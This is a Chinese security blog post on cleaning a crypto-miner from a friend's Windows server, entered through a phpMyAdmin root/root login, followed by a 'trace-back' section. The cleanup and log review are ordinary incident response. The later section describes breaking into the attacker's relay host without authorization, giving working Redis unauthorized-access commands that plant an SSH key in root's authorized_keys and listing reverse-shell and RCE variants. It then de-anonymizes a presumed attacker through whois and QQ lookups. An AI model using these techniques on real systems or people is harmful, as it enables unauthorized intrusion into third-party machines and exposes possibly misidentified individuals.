轉(zhuǎn)載自公眾號:酒仙橋六號部隊
前言
朋友說自己服務(wù)器巨卡,里邊放了一堆項目資料,環(huán)境也集成一大堆,身為他bb,義不容辭,必須給他看看,本來以為挺簡單的,給殺殺毒,清理一下文件就ok了,沒想到搞了挺久,正好寫這篇文章記錄一下。
2
清除病毒
問了問朋友有沒有下載啥東西,電腦上有沒有什么搭建什么鬼東西,一律回復(fù)不知道,讓我自己看,當(dāng)場就想順著3389過去給他個大嘴巴子。想了想算了,還得自己來,一手任務(wù)管理器,一眼看到幾個可疑的powershell進程
可以看到PowerShell進程的占用率排在了最前面,不過無法確定PowerShell執(zhí)行了什么命令,這時候可以使用WMIC查看進程執(zhí)行時的命令行參數(shù)
參數(shù)釋義:
Caption 進程名
CommandLine 命令行參數(shù)
ParentProcessId 父進程PID
Process 進程PID
可以看到PowerShell執(zhí)行了一段經(jīng)混淆的代碼,一般正常程序都不會這么執(zhí)行命令,市面很多有很多分析工具,使用火絨劍、ProcExp、ProcessHacker查看命令行參數(shù)也是都可以的
直接使用火絨劍結(jié)束該進程,之后powershell進程再次出現(xiàn),那肯定是存在守護進程,剛剛結(jié)束的應(yīng)該是個子進程,此時需要結(jié)束進程樹才能徹底根除,找到powershell的父進程,結(jié)束進程樹,防止挖礦程序再次啟動
說一下怎么查找相關(guān)關(guān)聯(lián)進程,可以使用wmic命令,找到相關(guān)進程
找到進程id 3616
找到進程id 3604
找到3500,這樣即可找到相關(guān)關(guān)聯(lián)進程
這里以火絨劍為例,查看進程,最下面5個PowerShell進程是PID為3652的PowerShell的子進程PID為1972的scvhost.exe是所有挖礦程序的父進程
直接結(jié)束進程樹
清理工作完成。
3
審計日志
最重要的是怎么進來的,重點看了看RDP日志,打開安全日志(4624登錄成功,4625登錄失?。_實發(fā)現(xiàn)有登陸成功的日志
隨即看了看注冊表有沒有新建賬戶,果然有個影子賬戶
隨即刪除賬戶,看了看啟動項,就知道
刪除啟動項
查看計劃任務(wù)
為了確保該進程與啟動項一致,這里算了一下MD5值
certrutil -hashfile file MD5
同樣全部刪除,總算弄完了,之后在進程中我竟然發(fā)現(xiàn)了phpstudy....,沒錯,桌面沒有圖標(biāo),我就直接忽略了,草率了
反手拿了WebShellKiller對全局文件進行掃描
???沒出來,找了個火絨病毒查殺也是一樣的效果
我不太信,怎么可能沒后門,直接在www目錄下挨個翻文件,翻吐了快,在這里浪費了很久很久時間,終于找到了news.php,不點開看都不知道,免殺做的挺牛逼啊
清除掉后,收獲免殺馬一枚,隨后查看web日志,在apache access.log、error.log兩個日志文件中發(fā)現(xiàn)訪問ip
xx.xx.xx.xx - - [14/Dec/2020:14:26:37 +0800] "POST /phpMyAdmin-4.8.1-all-languages/version_check.php HTTP/1.1" 200 28
xx.xx.xx.xx - - [14/Dec/2020:14:26:46 +0800] "POST /phpMyAdmin-4.8.1-all-languages/logout.php HTTP/1.1" 302 8637
xx.xx.xx.xx - - [14/Dec/2020:14:26:51 +0800] "GET /phpMyAdmin-4.8.1-all-languages/index.php HTTP/1.1" 200 3497
phpmyadmin的版本還是4.8.1的
剛開始以為是直接爆破進來的,此時一切都明了,誰會拒絕root/root,反正我不會,用腳趾頭都能想到朋友不會設(shè)置復(fù)雜密碼。
4
反查追蹤
確認(rèn)了入侵點,清理也已經(jīng)完成,并且拿到了攻擊ip,嘗試溯源,打開微步
18年就被標(biāo)記傀儡機,還是一臺日本機子,夠嗆溯源找到攻擊者,大概率是肉雞,此時想到還有挖礦樣本,先看看樣本吧,把主程序放在沙箱跑一下,還有一個批處理文件,一個windows命令文件,其余的是無用混淆文件
Cmd1.bat 安裝Networkss惡意服務(wù),自啟動start.cmd腳本,并將nat目錄下所有文件權(quán)限修改為只讀的隱藏系統(tǒng)文件。
start.cmd 啟動挖礦主程序,訪問礦池地址
svchost.exe 將自定義服務(wù)封裝為系統(tǒng)服務(wù)
Systems.exe 挖礦主程序
樣本名稱 systems.exe
樣本大小 3662336
MD5 4d8a76f89b0a68a6d5fc5b1b95257ec0
SHA1 d25a722636f2c1de313d481733b9c397925675eb
SHA256 eb1d6f905efcb27544c43e9107735a2160c3fa7180eff121a701dc6655ae0242
返回頭再看看哪個肉雞,用插件簡單看了一下,發(fā)現(xiàn)6379開放,隨即使用namp詳細探測一下
nmap -A -p 6379 script redis-info + ip
直接嘗試遠程登錄一下,居然能直接可以登錄。。。
該你被抓雞,你不當(dāng)雞誰當(dāng),在確認(rèn)有未授權(quán)漏洞后,嘗試?yán)?,redis利用方式有
好幾種
1> redis直接寫入webshell,但是需要絕對路徑,寫入權(quán)限也要有
2> 寫入ssh公鑰文件使用私鑰登錄
3> 寫入crontab計劃任務(wù)反彈shell
4> 主從復(fù)制rce
這里使用第二種,因為之前探測發(fā)現(xiàn)ssh服務(wù)也是開啟的
1、首先本地生成公私鑰文件
ssh-keygen -t rsa
2、將密鑰上傳到目標(biāo)主機redis
cat test.txt | redis-cli -h xx.xx.xx.xx -x set crackit
redis-cli -h xx.xx.xx.xx
config set dir /root/.ssh/
config get dir/
3、保存為authorized_keys
config set dbfilename "authorized_keys"
save
4、直接使用ssh登錄成功
ssh -i id_rsa root@x.x.x.x
上去后先netstat看了一下,明晃晃的一個外連ip
定位到相關(guān)的pid進程,發(fā)現(xiàn)了外連地址,純ip的
繼續(xù)查看了有誰登錄過這臺主機,通過查看/var/log/wtmp日志
last /var/log/wtmp
根據(jù)windows被入侵日志時間段篩選了一遍,還真的在這個時間段找到了這個ip地址,用戶是root,很大概率這個外連地址就是攻擊者的真實服務(wù)器了
wangjy ? pts/9 ? ? ? xx.xx.xx.xx ?Thu Dec 17 10:15 ? still logged in ??
wangjy ? pts/8 ? ? ? xx.xx.xx.xx ?Thu Dec 17 09:56 ? still logged in ??
wangjy ? pts/7 ? ? ? xx.xx.xx.xx ?Thu Dec 17 09:32 - 10:44 ?(01:12) ? ?
root ? ? pts/5 ? ? ?xx.xx.xx.xx ? Thu Dec 17 09:30 - 10:20 ?(00:50) ? ?
root ? ? pts/4 ? ? ?xx.xx.xx.xx ? Thu Dec 17 09:30 - 10:20 ?(00:50) ?
Whois查詢了一下ip
成功關(guān)聯(lián)到了qq郵箱,運氣真的好
直接搜索添加qq,一個SVIP9大佬,地點精確到某省市區(qū)
但是沒有手機號,空間動態(tài)也看不到,把郵箱扔在reg007查了一遍,什么都沒有
至此就收工了,也不知道找的目標(biāo)人物到底準(zhǔn)確不準(zhǔn)確,之后就給朋友順手裝了360,火絨也沒卸載,讓他沒事別瞎開服務(wù)。
5
總結(jié)
1、首先定位問題原因,確認(rèn)中了木馬
2、對進程,啟動項,計劃任務(wù),后門,賬戶全部進行清除
3、通過審計主機、web日志定位入口點
4、反追蹤拿到肉雞權(quán)限,發(fā)現(xiàn)外連地址
5、溯源定位到具體人(不一定百分百是)